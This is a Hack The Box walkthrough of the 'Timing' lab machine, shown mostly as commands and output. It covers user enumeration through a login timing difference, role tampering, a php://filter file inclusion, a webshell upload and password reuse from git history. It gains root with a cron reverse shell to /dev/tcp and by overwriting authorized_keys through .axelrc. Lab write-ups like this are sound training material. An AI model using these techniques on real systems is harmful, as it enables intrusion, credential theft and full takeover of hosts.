Hack The Box - Timing

000_info_card

Timing is a medium rated machine on HackTheBox created by irogir. For the user part we will first abuse a timing attack on the login functionality of a web application. Once logged in we are able to self assign us administrative privileges and abuse a LFI to eventually upload a web shell after reviewing the source code of the application. Using the webshell we find a backup which contains the password for a user to log in via ssh. This user is able to run a custom java application as the root user where we will go into two different ways to abuse this and capture the root flag.

User

As usual we start our enumeration with a nmap scan against all ports, followed by a script and version detection scan against the open ones to get an initial overview of the attack surface.

Nmap

1
2
3
4
5
6
7
8
9
10
$ sudo nmap -n -p- -T4 10.129.188.245
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-11 21:38 UTC
Nmap scan report for 10.129.188.245
Host is up (0.034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 116.30 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -sC -sV -p22,80 10.129.188.245
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-11 21:41 UTC
Nmap scan report for 10.129.188.245
Host is up (0.027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.92 seconds

User enumeration

From the two open ports http seems more promising. Opening the page in our browser we get redirected to the login page of Simple WebApp.

005_webapp_home

Playing around with the login in burp we can see that we have a noticable time difference if we enter admin as the username compared to another one. If this holds true for every valid username we might be able to enumerate users of the application this way.

010_quick_time

015_long_time

Using patator we are able to find another valid username aaron.

1
2
3
4
5
6
7
8
$ patator http_fuzz 'url=http://10.129.188.245/login.php?login=true' method=POST body='user=FILE0&password=a' 0=/opt/SecLists/Usernames/Names/names.txt  -x ignore:time=0-1
22:00:44 patator    INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.9.2 at 2021-12-11 22:00 UTC
22:00:44 patator    INFO -
22:00:44 patator    INFO - code size:clen       time | candidate                          |   num | mesg
22:00:44 patator    INFO - -----------------------------------------------------------------------------
22:00:45 patator    INFO - 200  6357:5963      1.161 | aaron                              |     4 | HTTP/1.1 200 OK
22:00:45 patator    INFO - 200  6357:5963      1.161 | admin                              |    86 | HTTP/1.1 200 OK
22:01:17 patator    INFO - Hits/Done/Skip/Fail/Size: 2/10177/0/0/10177, Avg: 304 r/s, Time: 0h 0m 33s

Trying with the username as password aswell we are able to log into the application.

020_login_aaron

025_login_success

Access control

We now have access to the Edit Profile feature on the website.

030_edit_profile

To take a closer look we intercept the request and send it to burp repeater. The response contains a json object with more parameters than we are setting.

035_roles_avail

Testing if we can set the role parameter which is initially not in the form we are successful.

040_role_change

Webshell

Refreshing the page we now have access to the Admin panel.

045_admin_panel

Looking at the javascript file handling the upload functionality we find an interesting looking path.

050_uploader

Testing if we can include other files ../ seems to be blocked by a waf but we are successfull using the php wrapper.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ curl -s 'http://10.129.188.245/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd' | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash

Looking at the source code of image.php itself we see how the blacklist is implemented. Another interesting thing is that, if we pass the blacklist include is called on the file. This means any php code between the <?php xxx ?> tags will be executed regardless of the file extension.

1
$curl -s 'http://10.129.189.14/image.php?img=php://filter/convert.base64-encode/resource=image.php' | base64 -d
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

function is_safe_include($text)
{
    $blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");

    foreach ($blacklist as $item) {
        if (strpos($text, $item) !== false) {
            return false;
        }
    }
    return substr($text, 0, 1) !== "/";

}

if (isset($_GET['img'])) {
    if (is_safe_include($_GET['img'])) {
        include($_GET['img']);
    } else {
        echo "Hacking attempt detected!";
    }
}

Now we just need to know where the file gets uploaded. This is handled in upload.php so we take a close look at it aswell.

1
$ curl -s 'http://10.129.188.245/image.php?img=php://filter/convert.base64-encode/resource=upload.php' | base64 -d

At first this looks like more bruteforce work for us than it actually is. Because $file_hash is inside single quotes this means it is just the string literal. This is then hashed with the current time and _ plus the filename get concatenated to the result.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include("admin_auth_check.php");

$upload_dir = "images/uploads/";

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>

Uploading a simple php reverse shell with the jpg extension we can see the server time, which we need, in repeater.

055_shell_uploaded

Next we just have to take the md5sum of $file_hash + the server time in epoch format, add _ and the filename to that.

1
2
$ date --date='12/11/2021 23:30:01' +"%s"
1639265401
1
2
3
4
5
$ php -a
Interactive mode enabled

php > echo(md5('$file_hash1639265401') . '_shell.php.jpg');
14825a2e927efad4b527cfdfdc212129_shell.php.jpg

Using curl we see the file exists and we have remote code execution on the target.

1
2
$ curl 'http://10.129.189.14/image.php?img=images/uploads/14825a2e927efad4b527cfdfdc212129_shell.php.jpg&1=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Credential reuse

There seems to be a firewall on the target which was blocking outbound connection as www-data, however after looking around we quickly find an interesting backup in /opt/.

1
2
3
4
5
$ curl -s -XPOST 'http://10.129.188.245/image.php?img=images/uploads/14825a2e927efad4b527cfdfdc212129_shell.php.jpg' -d '1=ls -al /opt'
total 624
drwxr-xr-x  2 root root   4096 Dec  2 11:19 .
drwxr-xr-x 24 root root   4096 Nov 29 01:34 ..
-rw-r--r--  1 root root 627851 Jul 20 22:36 source-files-backup.zip

After transfering and unziping the backup on our machine we see it contains a git repository.

1
$ curl -s -XPOST 'http://10.129.188.245/image.php?img=images/uploads/14825a2e927efad4b527cfdfdc212129_shell.php.jpg' -d '1=base64 -w0 /opt/source-files-backup.zip' | base64 -d > source-files-backup.zip

There are only two commits in the repo. Diffing them we see another database password.

1
2
3
4
5
6
7
8
9
10
11
12
$ git log
commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master)
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:34:13 2021 +0000

    db_conn updated

commit e4e214696159a25c69812571c8214d2bf8736a3f
Author: grumpy <grumpy@localhost.com>
Date:   Tue Jul 20 22:33:54 2021 +0000

    init
1
2
3
4
5
6
7
8
9
$ git diff 16de2698b5b122c93461298eab730d00273bd83e e4e214696159a25c69812571c8214d2bf8736a3f
diff --git a/db_conn.php b/db_conn.php
index 5397ffa..f1c9217 100644
--- a/db_conn.php
+++ b/db_conn.php
@@ -1,2 +1,2 @@
 <?php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');

Testing the older password with our earlier found user aaron against ssh we are able to log into the machine and grab the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ ssh aaron@10.129.189.14
The authenticity of host '10.129.189.14 (10.129.189.14)' can't be established.
ECDSA key fingerprint is SHA256:w5P4pFdNqpvCcxxisM5OCJz7a6chyDUrd1JQ14k5smY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.189.14' (ECDSA) to the list of known hosts.
aaron@10.129.189.14's password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Dec 11 23:49:21 UTC 2021

  System load:  0.07              Processes:           169
  Usage of /:   48.7% of 4.85GB   Users logged in:     0
  Memory usage: 10%               IP address for eth0: 10.129.189.14
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


aaron@timing:~$ wc -c user.txt
33 user.txt

Root

Netutils

Checking for sudo permissions we see that aaron is allowed to run /usr/bin/netutils, which is a bash script that runs a jar located in root’s home directory.

1
2
3
4
5
6
aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils
1
2
aaron@timing:~$ file /usr/bin/netutils
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable
1
2
3
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar

Testing it we can choose between FTP and HTTP. Choosing HTTP prompts us to enter a url.

1
2
3
4
5
6
7
8
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url:

To test it we first create a file with distinct name and content to be able to find it later again in case it get’s placed somewhere else.

1
$ echo  lghrkjlhgfdjkghfdkjghdfkjghfd > test_file_12354

We server the file using python and enter the url.

1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Enter Url: 10.10.14.59/test_file_12354
Initializing download: http://10.10.14.59/test_file_12354
File size: 30 bytes
Opening output file test_file_12354
Server unsupported, starting from scratch with one connection.
Starting download


Downloaded 30 byte in 0 seconds. (0.29 KB/s)

netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>
1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.189.14 - - [11/Dec/2021 23:53:34] "GET /test_file_12354 HTTP/1.0" 200 -
10.129.189.14 - - [11/Dec/2021 23:53:35] "GET /test_file_12354 HTTP/1.0" 200 -

The file got downloaded in our current working directory and is owned by root.

1
2
3
4
aaron@timing:~$ find / -name test_file_12354 -ls 2>/dev/null
     3152      4 -rw-r--r--   1 root     root           30 Dec 11 23:53 /home/aaron/test_file_12354
aaron@timing:~$ pwd
/home/aaron

Cronjob

One way to abuse this is the fact we have file write as the root user in any directory we are able to cd into. Getting root from here is as simple as creating a cronjob file on our machine that sends a reverse shell back to us.

legit

1
* * * * *   root    bash -c 'bash -i >&/dev/tcp/10.10.14.59/7575 0>&1'

Now we just have to set up our listener.

1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

Cd into /etc/cron.d/ and download the cronjob using /usr/bin/netutils.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
aaron@timing:~$ cd /etc/cron.d
aaron@timing:/etc/cron.d$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.59/legit
Initializing download: http://10.10.14.59/legit
File size: 71 bytes
Opening output file legit
Server unsupported, starting from scratch with one connection.
Starting download


Downloaded 71 byte in 0 seconds. (0.69 KB/s)

netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> ^C

After about a minute later we get a connection on our listener as the root user.

1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.189.14.
Ncat: Connection from 10.129.189.14:48750.
bash: cannot set terminal process group (7414): Inappropriate ioctl for device
bash: no job control in this shell
root@timing:~# wc -c /root/root.txt
wc -c /root/root.txt
33 /root/root.txt
root@timing:~#

Axelrc

After checking the useragent of the downloader we see that it is User-Agent': 'Axel/2.16.1 (Linux). Another way to abuse this is the .axelrc file. In this file we are able to specify a default filename for downloaded files. This applies in cases where the url does not contain a filename. First we create an .axelrc in aaron’s home directory.

1
2
aaron@timing:~$ cat .axelrc
default_filename = /root/.ssh/authorized_keys

Then we create a ssh keypair moving the public key to index.html.

1
cp ../root.pub index.html

Next we serve the public key with a python webserver and initiate the download without a filepath.

1
2
1
2
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
aaron@timing:~$ sudo /usr/bin/netutils
netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.59
Initializing download: http://10.10.14.59
File size: 565 bytes
Opening output file /root/.ssh/authorized_keys
Server unsupported, starting from scratch with one connection.
Starting download


Downloaded 565 byte in 0 seconds. (5.50 KB/s)

netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >>

This leads to index.html getting downloaded and saved as /root/.ssh/authorized_keys.

1
2
3
4
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.189.14 - - [12/Dec/2021 00:02:56] "GET / HTTP/1.0" 200 -
10.129.189.14 - - [12/Dec/2021 00:02:56] "GET / HTTP/1.0" 200 -

Now we can simply ssh into the machine as the root user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ssh -i root root@10.129.189.14
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Dec 12 00:02:59 UTC 2021

  System load:  0.0               Processes:           180
  Usage of /:   48.7% of 4.85GB   Users logged in:     1
  Memory usage: 13%               IP address for eth0: 10.129.189.14
  Swap usage:   0%


8 updates can be applied immediately.
8 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Dec 12 00:02:16 2021 from 10.10.14.59
root@timing:~#